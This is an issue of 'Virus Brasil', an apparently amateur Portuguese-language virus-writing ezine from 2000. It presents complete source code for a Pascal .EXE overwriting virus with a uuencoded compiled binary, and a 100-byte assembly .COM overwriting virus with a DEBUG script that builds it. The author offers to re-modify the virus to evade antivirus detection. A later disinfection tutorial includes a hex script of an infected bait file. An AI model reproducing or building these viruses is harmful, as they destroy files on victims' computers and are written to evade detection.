Virus Brasil nº5:(VIRBR05.TXT):01/01/2000 << Back To Virus Brasil nº 5
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ █ / __ ___ __ __ __ ___ . █ █ | / | |__) | | (__ | _) |__) |__| (__ | | █ █ |/ | | \ |___| ___) |__) | \ | | ___) | |___ █ █ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ║│║│█║│║││║█│║║ 05 ║│║│█║│║││║█│║║ ║│█│ 9 ║770169║221097║ ║│█│ Vírus Brasil nº 05 Janeiro/Fevereiro/Março 2000 Cidade Patriarca - Zona Leste - Sao Paulo - SP - Brasil HomePage : http://wwww.fortunecity.com/campus/medicine/120 Em breve : http://www.virusbrasil.8m.com Remind : surf.to/virusbrasil E-mail : nim_bus@hotmail.com ──────────────────────────────────────────────────────────────────────────────── ___ ___ ___ ___ __ ___ | | | |\ | | |__ | | | \ | | |___ |___| | \| | |___ |___| |__/ |___| ──────────────────────────────────────────────────────────────────────────────── ─────────────────────────── Conteudo dessa edicao : ─────────────────────────── 1 - Editorial 2000 2 - Goma.Overwriting.3200.HLL 3 - Goma.Overwriting.100 4 - Como desinfectar um arquivo contaminado . 5 - Goma BOOT Floppy (Vers╞o de Teste) 6 - Humor : "O Windows e' um virus ?" 7 - E-Mail ... 8 - WAVE.800 virus por Dark Lion 9 - Irc_Worm.Overnuke por LeBeau 10 - HLLP.Spectre por Vecna 11 - Goma.TSR versao de testes (uuencodado) 12 - Valeu ... ──────────────────────────────────────────────────────────────────────────── ___ __ . ___ ___ __ . __ |__ | \ | | | | |__) | |__| | |___ |__/ | | |___| | \ | | | |___ ──────────────────────────────────────────────────────────────────────────── ───────────────── 1 - Editorial ───────────────── Feliz ano 2000 para voce, espero que tenha se divertido bastante ao longo do ano passado e que esse ano seja muito mais ... Chegamos com essa edicao do zine ao marco historico de 1 ano de estrada , com uma periodicidade mais ou menos de 3 meses entre cada edicao , estamos portanto no numero 5, nao havia pensado que chegaria tao longe,ainda mais uma so pessoa fazendo todo o zine, mas esta indo e bem melhor do que possa parecer ... Arrumei um pouco de tempo e registrei um dominio na freeserver para o zine em http://virusbrasil.8m.com e vamos ver se ficamos com esse lugar em definitivo... Ainda sobre esse tempo que eu arrumei, me dei alguns luxos e fiz a edicao 3 em HTML , eu achei que ficou muito louca, pegue e confira, nada de muito interessante existe na versao em HTML,so mais estetica. Estou de nova namorada , bom mudar as coisas quando ja nao sao + mil maravilhas ... ja nao gostava da Dany e ai rolou uma porrada de fatos interessantes com a Ju , e ai rolou, estamos a 2 meses juntos e nos curtindo pra caralho ... Bom, voltando ao zine ... A edicao numero 4 saiu em RTF pois seila, foi uma coisa meio de hora,prometo que evitarei cometer tal equivoco nas proximas vezes,por pior que seja esse texto em TXT, e melhor que o em RTF ! Sugerindo um pouco de literatura de buteko , leia o livro " As loucuras de um publicitario" de um tal de LULA seila o que, o livro e muito bom, da pra dar risada pra caralho com as historias que o cara conta, muito bom mesmo, para passar o tempo e dar umas risadas e' 10. Ja na parte musical, sugiro um Rage Against The Machine , o novo trabalho dos cara ta du caralho pra cima, muito bom mesmo ... Relaxa, so estao ai as sugestoes, pois foi escutando um Rage e com a cabeca no livro do LULA nao sei do que que escrevi essa edicao do zine. Creio que nossos virus para DOS estao se esvaindo, pois ja' fi- zemos quase todos os tipos, falta um de compania e um tsr, o tsr esta indo um de teste, um de over ta ai, e um de boot tambem ... Na nossa proxima edicao deveremos entrar com virus para as pla- taformas baseadas no windows 95 , ou faremos um apanhado geral do que fizemos ate aqui, e' phoda... ainda tenho muito que aprender em WIN95 e nao sei se vai dar tempo, talves role um macro virus ou um tutorial do LeBeau, seila' vamos levando. Mande suas sugestoes para que a proxima edicao esteja mais a ver com a galera do que comigo, continuamos esperando ansiosos pelos seus virus, materias, duvidas e e-mails ... Sem mais, Nim Bus Akemi T + ─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ───────────────────────────────── 2 - Goma.Overwriting.3200.HLL ───────────────────────────────── Bom, na última ediç╞o colocamos um tutorial muito massa do Lebau e um vírus em High Language Level (HLLP) do Vecna. Agradeço a esses 2 malucos e também vou fazer minha parte em HLL. N╞o vou fazer um vírus como o do tutorial , ou como o do Vecna , farei um vírus bem simples, o mais simples de todos eles, um virus de OverWriting. A programaç╞o do mesmo é bem simples e n╞o requer quase nenhum conhecimento da linguagem Pascal. O vírus se resume a PROCURAR um arquivo, COPIAR o vírus para es- se arquivo, PROCURAR + arquivos e FECHAR os arquivos. O código fonte segue abaixo e esta totalmente comentado . ( esse deu tempo de sobra para comentar e testar , hahaha ). Se quiser altere à vont's pois no pascal temos um mont╞o de fer- ramentas muito loucas para colocar aí. Desative o CRT break, faça n╞o alterar a data/tamanho/atributo , coloque uma rotina de ativaç╞o, meu o céu é o limite,mas n╞o se esqueça que é só um vírus de overwriting. ─────────────────────────────────────── Comentários ─────────────────────────────────────── Em se tratando de um vírus de overwriting , os arquivos infecta- dos ficam inutilizavéis , ou seja, o arquivo infectado só executará o vírus . Tamanho : 3200 Bytes. Data de Ativacao : Todo Dia. Acao : Multiplicaç╞o e Inutilizaç╞o dos arquivos infectados. Infecta : Arquivos .EXE (Quantos existirem no diretorio). Linguagem : Pascal ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── { ;;;;;;;;;;;;;;;;;;;;;; Goma Overwriting ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } Program Goma_Overwriting ; Uses Dos; Var Hospede: SearchRec; { Find First } Virus, Host: File; { Virus e Hospedeiro } Leu, Gravou: Word; { Auxiliar na cópia } Buffer: array[1..2048] of Char; { Buffer para cópia } Assinatura : String; { Assinatura } Begin FindFirst('*.EXE', Archive, Hospede); { DIR *.EXE } While DosError = 0 do { Enquanto tiver arquivos } Begin Assign(Virus, ParamStr(0)); { Abrir o vírus } Reset(Virus, 1); Assign(Host, Hospede.Name); { Abrir o hospedeiro } Rewrite(Host, 1); Repeat { Copiar byte a byte } BlockRead(Virus, Buffer, SizeOf(Buffer), Leu); BlockWrite(Host, Buffer, Leu, Gravou); Until (Leu = 0) or (Gravou <> Leu); Close(Virus); { Fechar arquivos } Close(Host); FindNext(Hospede); { Procurar mais ... } End; Assinatura := 'Goma.Overwriting.HLL'; { Assinatura } End. { ;;;;;;;;;;;;;;;;;;;;;; Goma Overwriting ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } O que ? Só isso de Código e é um Vírus ? Isso mesmo. E' um vírus que funciona de verdade e pode ser para W32. Basta que você compile no Turbo Pascal (R) para Windows (R) e ao invés de utilizar (Uses DOS) você coloca (USES WinCRT), n╞o se esque- cendo de dar um (close) na janela, sen╞o da pala ... Nem vou colocar o script pois o vírus é em pascal n╞o em ASM !!! N╞o fica triste se você n╞o tem o pascal, ta indo o vírus em UU. Mas nao va' acostumando, de um download por ai... ─────────────────────────────────────────────────────────────────────────── __ __ __ __ __ | | | | |_ |\| | | | | \ |_ |__| |__| |__ | | |__ |__| |__/ |__ ─────────────────────────────────────────────────────────────────────────── Goma Overwriting UUecodado, utilize o programa UUdecode (Virus Brasil numero 1 , eu acho.) para desencodar. Acho que no winzip 7 para windows tambem tem como ler ou gravar um arquivo em formato UU, nao sei direito, quem souber, favor avisar. ;;;;;;;;;;;;;;;;;;;;;; Goma Overwriting HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin 600 goma_hll.exe M6DV```<`'``)`,@$R*2'`0!````;````'````!X````I````0````%T```!B M````<````'4```"$````D@```)<```"O````M````,P```#1````ZP```/`` M``#Z````_P````D!```?`0``*0$```$`&P`;`1L`$`,;`"P)&P!'"1L`70D; M`'P)&P``````!2HN15A%%$=O;6$N3W9E<G=R:71I;F<N2$Q,F@``&P!5B>6X M``&:S0(;`('L``&_```.5[@@`%"_4``>5YH``!,`@SZ`"@!T`^G"`+]\`!Y7 MC;X`_Q97,<!0FE@&&P":F@0;`+]\`!Y7N`$`4)K5!!L`FI$"&P"__``>5[]N M`!Y7FIH$&P"__``>5[@!`%":W@0;`)J1`AL`OWP`'E>_@`$>5[@`"%"_?`$> M5YK`!1L`FI$"&P"__``>5[^``1Y7_S9\`;]^`1Y7FL<%&P":D0(;`(,^?`$` M=`FA?@$[!GP!=+:_?``>5YI6!1L`FI$"&P"__``>5YI6!1L`FI$"&P"_4``> M5YH^`!,`Z33_OP8`#E>_@`D>5[C_`%":^@8;`(GL73'`FA8!&P```````%6+ M[(/L4![%=@R-?K`6!_RL/$]R`K!/F)'SI#+`JL56!K0:S2&-5K`6'XM."K1. MS2$?Q'X&Z"``B^5=R@H`58OL'L56!K0:S2$?M$_-(<1^!N@$`%W*!`!R'H/' M'AX&'S+`N0`!_/*N]M&*P4^+]T[]\Z2J_!\SP*.`"L,`````NKH`CMJ,!C@` M,^WHT`GHH`"+Q`43`+$$T^B,T@/"HPH`HPP``P8$`*,.`*,8`*,<`*,D`(X& M.``FH0(`HR``QP8J`-8`C`XL`+^"#+XY`KD3`)#\+JRT-<TAB1V,10*#QP3B M[QX.'[H,`;@`)<TANA,!N",ES2&ZVP"X)"7-(;H$`;@_)<TA'[B""AY0'E"X M8P(.4`[H3@(.Z,@"N((+'E`>4+AC`@Y0#N@Z`@[HN0++,\"<6X#G#U.=G%F` MY?"`_?!T#D"`S_!3G9Q9@.7P=`%`HDP`PS/`R@(`^X/$!EB#YQ^!QY8`@/PY M<P.___]7M%3-(8OL@$X6`5A;65I>7UT?!\^XT`"#Q`;K`[C(`%E;ZP>X_P`S MR3/;NKH`CMK[HS(`B\$+PW0]H1``"\!T+X[`)J$0``O`=!LKPW<7]]@]`!!S M$+H0`/?B`\%R!R8[!@@`<@8FH10`Z]&+R(S#*QXX`(/K$(D.-`")'C8`Q!XN M`(S`"\-T$S/`HRX`HS``HSP`N&X!#E`&4\NX@@H>4`[H*@*X@@L>4`[H(0*_ M@@R^.0*Y$P"0_"ZLM"4>Q17-(1^#QP3B\*$T``L&-@!T*;M,`N@J`*$R`.@R M`+M;`N@>`*$V`.A``+`ZZ%4`H30`Z#4`NV`"Z`<`H3(`M$S-(2Z*!PK`=`;H M.`!#Z_/#L63H!P"Q"N@"`.L$,N3V\00P4.@>`%B*Q,-0BL3H`0!84+$$TNCH M`P!8)`\$,#PZ<@($!XK0M`;-(<,``ALA(R0T-38W.#DZ.SP]/C]U17)R;SH@ M,C(Q,#DW("``(&]U(``N#0H`6U1$1R<R,#`P72!$:7)E:71O<R!297-E<G9A M9&]S($YI;4)U<R`SP(<&/`#+@SX\``!U`<NA/`#I</Z+]#:.1`(F.U4"?P=\ M%"8[!7(/)CM5!GP(?P<F.T4$=P'+N,D`Z4C^N-<`Z4+^!0`"<@TKQ',)]]@[ M!CH`<@'+N,H`Z2K^NC/2B]P>-L1_"#;%=P3\,\"KN+#7J[B``*LSP*NKJXU% M=*N,P*NX]PBKN!L`JS/`N0X`\ZNY3P`+TG4)K#K(=@2*R.,(K`K`=`.JXO@R MP*H?R@@`B]PVQ'\*-HM'!":)100VBT<&)HE%##:+1P@FB44.,\`FB44()HE% M"LH*`+JQU^L(NK+7ZP.ZL]=5B^S$?@8FBT4"/;'7=!(]LM=T#3VPUW00QP8\ M`&8`ZR12!E<.Z"4`6C/`)HE5`B:)10@FB44*NQ``Z$P`=`8FQT4"L-==R@0` ML`#K`K`!58OLQ'X&)H%]`K'7=!@F@7T"LM=T",<&/`!G`.L84+L4`.@5`%@* MP'0,NQP`Z`H`)L=%`K#77<H$``97!E<F_QD+P'0#HSP`7P?#B]P>-L1_!";% M50PFBTT$)HL=M#_-(7(0)HE%"C/`)L=%"```'\H$`";'10H``.ONB]P>-L1_ M!";%50PSR2:'30@FBQVT0,TA<@<KP70#N&4`'\H$`(O<'C;$?P0FQ54,,\DF MATT()HL=M$#-(7(",\`?R@0`B]PVQ'\$)HL=@_L$=@:T/LTA<@(SP,H$`+HS MTHO<'C;$?P@VQ7<$_#/`J[BPUZLSP+D6`/.KN4\`"])U":PZR'8$BLCC"*P* MP'0#JN+X,L"J'\H(`*!.`+0],]+K!K@`/+H!`%6+[,1^"":!?0*PUW0:)H%] M`K/7=`C'!CP`9@#K-%!2!E<.Z$P`6E@F@'TP`'02'HU5,`8?,\G-(1]S!J,\ M`.L1DB;'10*SUR:)!8M&!B:)101=R@8`B]PVQ'\$Z#@`=0XSR2:+';1`S2%S M`Z,\`,H$`(O<-L1_!.@<`'47)HL=@_L$=@FT/LTA<P.C/``FQT4"L-?*!``F M@7T"L]=T!L<&/`!G`,.T/[ID`.L%M$"Z90!5B^S$?@KHW/]U&QY2Q58&)HM- M!":+'<TA6A]R!CO!=`6+PJ,\`%W*!`"S/[ED`.L%LT"Y90!5B^S$?A#HIO]U M/XM&"@O`=!P>42;W902+R,56#(KC)HL=S2%9'W(?,](F]W4$Q'X&C,(+UW0% M)HD%ZQP[1@IT%XD./`#K$:,\`,1^!HS""]=T!3/`)HD%7<H.`%6+[,1^"NA* M_W4ABT8()O=E!(O(BT8&)O=E!`/*B]`FBQVX`$+-(7,#HSP`7<H(`%6+[(M6 M!@O2=`7H20#K,+0PS2$\`[@``'(EC@8X`":.!BP`,__\)CH%=`>Y___RKNOT M@\<#B_>Y``'RKI'VT!X&'\1^"/RJD?.D'UW*`@`STN@"`)/+C@8X`+^``":* M#3+M1S/;XPDF@#T@=P-'XO>+]^,))H`]('8#1^+WB\<KQG0$0TIUWL/\B]R, MVC;$?P@VQ7<$K*J*R#+M\Z2.VLH$`/R+W(S:-L5W"C;$?P8VBT\$K#K!=@** MP:J*R#+M\Z2.VLH*`/R+W(S:-L1_##;%=PB*!#+D-HM/!@O)?P.Y`0`#\2O! M<A-`-HM/!`O)?0(SR3O!=@:+P>L",\"JB\CSI([:R@@`_(O<C-HVQ'\(-L5W M!":*#3+MK"8`!7,()L8%_XK!]M`#^4>*R/.DCMK*!`!5B^P>Q78*_*P*P'0L MBM`R]L1^!B:*#3+M*\IR'$%'K/*N=16+QXO9B\I)\Z9T#HOXB\N+=@I&Z^8S MP.L$2"M&!A]=R@@`_(O<C-HVQ7<(-L1_!*PFBB5'BL@ZS'8"BLP*R70&,NWS MIG4".L2.VLH(`/R+W#;$?P:P`:HVBD<$JLH"`/R+W(S:-L1_"C;%=P8VBT<$ MJHO(\Z2.VLH&`%6+[('L``*#?@8!?07'1@8!`(V^`/\65\1^"@97N`$`4(M& M!DA0#NC+_L1^#@97#N@#_XV^`/X65\1^"@97_W8&N/\`4`[HK/X.Z.G^Q'X* M!E?_=@@.Z'C^B^5=R@P`58OL@>P``H-^!@!^7(-^"`!^5H%^"/\`?T^!?@;_ M`'X%QT8&_P"-O@#_%E?$?@H&5[@!`%"+1@A(4`[H6/Z-O@#^%E?$?@H&5XM& M"`-&!E"X_P!0#N@^_@[H>_[$?@H&5[C_`%`.Z`G^B^5=R@@`B]P>-L5_!#/) MB0VX`#V!?0*QUW0-L`+_!8%]`K/7=`*T/(!],`!T"8U5,,TA<EJ)!;@+!+H; M`#/),]N!?0*QUW0OBQVX`$3-(?;"@+A@!+H;`(O(B]IU%(%]`K/7=0/H*P"X M.P2Z&P`SR3/;QT4"LM>)112)51:)31B)71K'11R`!,=%'AL`,\`?R@0`,](S MR8L=N`)"S2$M@`"#V@!S!#/`,]*+RHO0BQVX`$+-(8V5@`"Y@`"+';0_S2%S M`C/`,]L[V'0@@+F``!IT`T/K\HO3*]"Y__^+';@"0LTA,\F+';1`S2'#OU`` M'@>YS@PKS]'I,\#\\ZO#``````````````````````````#__P`````````` M`````````````````````````````````````````````````!!```"@`+`` %N````@`` ` end ;;;;;;;;;;;;;;;;;;;;;; Goma Overwriting HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ─────────────────────────────────── 3 - Goma Overwriting ─────────────────────────────────── Estamos a 1 ano no ar e até agora só fizemos vírus de runtime, e desses, todos de appending (até alguns com bug, que n╞o retornavam ao hospedeiro, mas está valendo ...) , bom como existe uma vasta gama de tipos de vírus resolvi diversificar , entre os vírus conhecidos e que estou me lembrando no momento est╞o os de Appending,de Companion e os de Overwriting,os dois últimos ainda n╞o haviamos comentado nem feito nenhum como exemplo , mas eu creio que n╞o devem ser desconhecidos da grande maioria. Para ilustrar um vírus de Overwriting ( um dos mais básicos que existe) fiz o Goma.100 que é o nosso primeiro vírus de overwriting, a técnica utilizada pelo vírus é a mais simples possível, e se reduz à - (Procurar, Abrir, Infectar, Fechar e Procurar mais arquivos) - nada apresentado no vírus deve ser desconhecido, mas caso n╞o manje alguma parte, dê um toque ou vide números anteriores... Em relaç╞o a vírus de Companion,estou em fase de negociaç╞o para ver se faço ele rolar em Delphi, mas é um projeto ... Espero que você entenda direito os fontes e seus comentarios,pa- ra variar , o virus e' 100% desconhecido ( caso algum anti-virus já o detecte quando você vier a ler esse texto e compilar o mesmo,mande um e-mail pra mim que rapidamente eu faço o vírus ficar desconhecido no- vamente ... Por se um vírus de tamanho bem diminuto (apenas 100 bytes) e ser de overwriting rapidamente já sai algum antí vírus com ele , mas ai é só mudar alguma coisa na estrutura e já deve estar bala. N╞o coloquei nenhuma rotina rebuscada , nem códigos de ativaç╞o, pois tive como intuito principal - apenas fazer um vírus de overwri- ting - sem grandes açΣes... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;;;;;; Goma Overwriting ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; page 22101997 title Virus Brasil nº5 em 2000 por nim_bus@hotmail.com name Goma_Overwriting .286c ; Instrucoes 80286 .model tiny ; Modelo de memoria ; Tamanho equ Fim - Inicio ; Tamanho do vírus ; Virus segment ; assume cs:virus ; org 100h ; Vai ser .COM ; Inicio: ; Início do vírus jmp real ; Salto para o vírus propriamente ; dito. Marca db "Goma.Overwriting [TDG'2000]",0 ; Assinatura do vírus Mascara db ').COM',0 ; ( * 1) ; Real: ; push ds es ; ; call $ + 3 ; Chamando os ponteiros pop bp ; pois iremos utilizar para sub bp,offset $ - 1 ; procurar os arquivos ).COM ; ; mov ah,4eh ; Achar o primeiro arquivo inc byte ptr [bp + offset mascara] ; { ).COM + 1 } *.COM lea dx, [bp + mascara] ; Procurar o *.COM int 21h ; dec byte ptr [bp + offset mascara] ; Limpar a memória, ; Restaurando ).COM jmp abrir ; Vamos abrir o arquivo ; Proximos: ; mov ah,4fh ; Achar os próximos arquivos int 21h ; ; jc sair ; N╞o achou cai fora, se achou abra ; o arquivo Abrir: ; mov ax,3d02h ; Abrir para Ler/Gravar mov dx,80h+1eh ; 80h -> offset da DTA (* 2) ; 1eh -> nome int 21h ; Colocar o nome em dx ; mov bx,ax ; Salvar em bx ; mov cx,tamanho ; Colocar o tamanho do vírus em cx. mov dx,100h ; Copiar o vírus desde onde o vírus ; começa. mov ah,40h ; Escrever para o arquivo que foi int 21h ; salvo em bx. ; mov ah,3eh ; Fechar o arquivo int 21h ; ; jmp Proximos ; E procurar mais ... ; Sair: ; int 20h ; Fechar tudo e voltar pro DOS. ; Fim: ; Fim do Vírus ; Virus ends ; end Inicio ; ;;;;;;;;;;;;;;;;;;;;;;;;;;; Goma Overwriting ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Referências: ------------ * 1 ( *.COM) ------------- Mascará para despistar Av's , vide números anteriores de Vírus Brasil * 2 (DTA) --------- Estrutura do DTA = 'RRRRRRRRRRRRRRRRRRRRRADDHHTTTTNNNNNNNN.EEE',0 |_> 31 Mas começa em 0 ent╞o 30d (1eh) R=reservado,A=atributos,D=data,H=hora,T=tamanho,N=nome,E=extensao ─────────────────────────────────────── Comentários ─────────────────────────────────────── O vírus por ser de overwriting,inutiliza o arquivo hospedeiro ou seja o arquivo infectado só executará o vírus . Tamanho : 100 Bytes. Data de Ativacao : Todo Dia. Acao : Multiplicaç╞o e Inutilizaç╞o dos arquivos infectados. Infecta : Arquivos .COM (Quantos existirem no diretorio). O vírus se auto-infecta. ──────────────────────────────────────────────────────────────────────────── ___ ___ __ . __ ___ (__ | |__) | |__) | ___) |___ | \ | | | ──────────────────────────────────────────────────────────────────────────── Recorte o script abaixo ( delimitado pelos pontos e vírgulas ) e cole num arquivo com qualquer nome ( em branco ) e em seguida rode o debug ( DEBUG < nome do arquivo ). Pronto... O debug cria o virus GOMA_100 para você no arquivo GOMA100.COM . ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_100.SCR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; N GOMA100.COM E 0100 EB 22 47 6F 6D 61 2E 4F 76 65 72 77 72 69 74 69 E 0110 6E 67 20 5B 54 44 47 27 32 30 30 30 5D 00 29 2E E 0120 43 4F 4D 00 1E 06 E8 00 00 5D 81 ED 29 01 B4 4E E 0130 2E FE 86 1E 01 8D 96 1E 01 CD 21 2E FE 8E 1E 01 E 0140 EB 06 B4 4F CD 21 72 1A B8 02 3D BA 9E 00 CD 21 E 0150 8B D8 B9 64 00 BA 00 01 B4 40 CD 21 B4 3E CD 21 E 0160 EB E0 CD 20 RCX 0064 W Q ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_100.SCR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Todos os scripts de Vírus Brasil s╞o feitos à partir dos origi - nais compilados e linkados (em sua maioria) com o Tasm e o Tlink 3.0 da Borland. O programa que cria os scripts para o debugger do DOS é o DBGSCRPT.COM do Nowhere Man que vem no pacote NUTILS20 . ────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ────────────────────────────────────────────────────────────────────────── ───────────────────────────────────────────────── 4 - Como desinfectar um arquivo contaminado . ───────────────────────────────────────────────── ────────────────────────────────────────────── Como desinfectar um arquivo COM ? ────────────────────────────────────────────── Devo informar que para uma melhor realizacao dos propositos aqui apresentados, trabalhe primeiramente com copias dos arquivos infecta- dos , pois voce podera' causar um dano ao arquivo maior que o proprio virus. Caso voce esteja trabalhando sob alguma plataforma da Microsoft que nao permita acesso direto a disco , desabilite-o com o comando LOCK no drive que voce for trabalhar. Material necessario : ───────────────────── - Debuger (recomendo o TD) - Editor de Arquivos em Hexa (recomendo DISKEDIT) - Resize (so' conheco ele) - Conhecimento e Paciencia Voce já deve ter ficado fudido quando seu slide de bbs muito loco,ou algum programinha PROG.COM foi infectado por um virus e voce passa o anti-vírus e a porra do baguio fala que o virus nao pode ser retirado, só apagando o arquivo, ou pior, voce sabe que o virus esta la, mas o antivirus nem isso sabe ... Nessa materia explicarei um metodo bem caseiro e muito mobral de como proceder para desinfectar seus arquivos COM. Primeiro é necessário que você saiba como funciona um vírus de arquivos COM (Se você já manjar entao pule essa parte). Os virus de arquivos .COM (ou melhor a maioria deles) funcionam da seguinte maneira : OBS:Estamos aqui obviamente excluindo os arquivos infectados por virus de OverWriting, nos quais e' muito pouco provavel sua recupera- çao. Inserem um Jump no inicio do arquivo que desvia a execucao do programa para o virus, ou seja o vírus será executado antes do arqui- vo hospedeiro, após a execuçao do vírus, ele retorna logo apos o Jump e executa o programa "normalmente" . Vide o "gráfico" : ─────────────────── Arquivo sem vírus Legenda : _____________________ | | JMP virus -> Jump para o virus | PROGRAMA | Virus Exec. Prg -> Virus executa o |_____________________| Programa Programa -> Quase identico ao programa sem o virus (exceto pelos 3bytes) Arquivo com vírus 3 by -> os 3 primeiros bytes do arquivo __________________________ (o virus coloca o jump no comeco) | JMP | | 3 |VIRUS| e apos sua execucao os retorna. |VIRUS| PROGRAMA| by|EXEC.| |_____|__________|___|PRG__| Os primeiros 3 bytes do arquivo com um virus sao na maioria das vezes um jump para o virus, entretanto existem vírus de arquivos .COM que tem a assinatura nos bytes seguintes ao 3º , mas na maioria dos casos os 3 primeiros bytes sao o jump. Antes do Jump haviam os 3 primeiros bytes do programa que sao colocados na maioria das vezes ANTES do VIRUS e DEPOIS do FIM do programa hospedeiro,(um pouco complicado de se expressar,mas sei la' nao consigo explicar melhor ... vide grafico .) Entao o virus e' executado e ao ser finalizado chama o programa hospedeiro que por sua vez (se o virus nao contiver bugs) funcionara normalmente (como se o virus nao existisse). Agora que voce ja sabe como e' a estrutura de arquivos infecta- dos , seria interessante se conseguissemos tirar o jump do inicio do arquivo e colocar os 3 bytes de volta ao lugar deles . Em TESE o arquivo ja' estaria desinfectado pois o virus sem o Jump nao funciona, ou seja , se retirar o jump do arquivo hospedeiro o que estiver no final desse arquivo sera considerado trash ( apenas ocupa espaco ) o virus ja' nao funciona mais, porem o arquivo contem a string e algum anti-virus pode ainda embacar na sua. Para retirar o "lixo" do fim do arquivo, recomendo a utilizacao do RESIZE,programa incluso no pacote (NUTILS20.ZIP) que "corta" essa parte indesejavel do arquivo , desde que saibamos quantos bytes essa tal parte possui. `A partir das ideias dadas acima seguiremos os seguintes passos para desinfectar os arquivos. Procedimento : ────────────── Voce precisa saber para onde o jump te leva (onde comeca o virus propriamente dito), para isto utilize um debuger, eu recomendo o Tur- bo Debuger (TD) da borland. Abra o arquivo infectado e voce vera para onde o jump te leva ANOTE O ENDERECO, va para ele (voce esta no virus, lembre-se que tres bytes antes do endereco existe o inicio (os 3 bytes) do programa hos- pedeiro , anote as instrucoes em ASM ou anote o codigo dos 3 bytes em HEXA), do endereco que o jump te levou. Para frente nada interessa, e o virus, anote somente o comeco do mesmo para podermos desativa-lo. PS. E'obvio que interessa o que esta apos o endereco, afinal e o virus e e' muito interessante debugar um virus para entender seu fun- cionamento melhor. Com todas as anotacoes feitas, rode um editor de arquivos ( como o DISKEDIT do NORTON por exemplo) e troque os 3 primeiros bytes ( que sao o jump) pelos tres bytes que estavam antes do inicio do virus. Va para o lugar no qual o jump o levava,volte 3 bytes e marque tudo dali para frente, agora complete com algum caractere (recomento o 00h). Pronto, seu arquivo ja' esta desinfectado , mas esta com bytes a mais , para se livrar desses bytes a mais conte quantos bytes tinha o virus (com jump e tudo) e rode um programa que retire o fim de arqui- vos, ou seja, diminui seu tamanho, recomendo o Resize do cara que fez o VCL (ta ai UUencodado no Zine). Se voce nao entendeu direito ou ficou alguma parte meio que nas coxas, manda um e-mail que agente da um jeito. Agora segue um exemplo de um arquivo ISCA infectado por um virus (no caso, seguem-se os fontes do arquivo, pois do virus ja foi em al- guma outra edicao do zine, e' o virus GOMA_BRAZILIAN_BUG) Codigo Fonte do arquivo isca: ;;;;;;;;;;;;;;;;;;;;;; ISCA.ASM ;;;;;;;;;;;;;;;;;;;;;;;;; page 22101997 title Virus Brasil nº5 em 2000 por nim_bus@hotmail.com name Goma_Isca Isca segment byte public 'Isca' assume cs:Isca,ds:Isca org 100h ; Vai ser .COM inicio: mov ah,09h ; Funcao 09h -> Escrever na tela mov dx,offset msg ; Escrever msg int 21h ; Escreva mov ah,4ch ; Funcao 4ch -> Finaliza o programa int 21h ; Fim msg db "GOMA_ISCA",13,10,"$" ; Mensagem a ser exibida Isca ends end inicio ;;;;;;;;;;;;;;;;;;;;;;;; ISCA.ASM ;;;;;;;;;;;;;;;;;;;;;;; Script do GomaIsca (Sem o Virus) caso voce nao tenha um assembler ;;;;;;;;;;;;;;;;;;;; ISCA.SCR ;;;;;;;;;;;;;;;;;;;;;;; N GomaIsca.COM E 0100 B4 09 BA 0B 01 CD 21 B4 4C CD 21 47 4F 4D 41 5F E 0110 49 53 43 41 0D 0A 24 RCX 0017 W Q ;;;;;;;;;;;;;;;;;;;; ISCA.SCR ;;;;;;;;;;;;;;;;;;;;;;; Veja se voce entende ! A 1ª e a 2ª linha seria mais ou menos o que voce vera' em algum editor de arquivos em hexa, como o diskedit por exemplo. Vamos agora infectar o arquivo e repare nas mudancas. Script do GomaIsca (Com o Virus Goma_Brazilian_Bug) ;;;;;;;;;;;;;;;;;;;; ISCA.SCR ;;;;;;;;;;;;;;;;;;;;;;; N GomaIsca.COM E 0100 E9 17 00 0B 01 CD 21 B4 4C CD 21 47 4F 4D 41 5F E 0110 49 53 43 41 0D 0A 24 B4 09 BA E8 F8 01 E9 C3 01 E 0120 5B 54 44 47 27 39 39 5D 20 20 20 2A 2A 2A 2A 2A E 0130 2A 20 20 20 48 45 4C 4C 4F 20 46 52 49 45 4E 44 E 0140 20 20 20 2A 2A 2A 2A 2A 2A 0D 0A 0D 0A 20 20 20 E 0150 20 20 20 20 20 57 45 20 41 52 45 20 53 4F 52 52 E 0160 59 20 54 4F 20 49 4E 46 4F 52 4D 20 59 4F 55 20 E 0170 54 48 41 54 20 59 4F 55 52 0D 0A 0D 0A 20 20 20 E 0180 20 20 20 20 20 20 20 20 20 20 20 20 53 59 53 54 E 0190 45 4D 20 49 53 20 56 45 52 59 20 49 4C 4C 0D 0A E 01A0 0D 0A 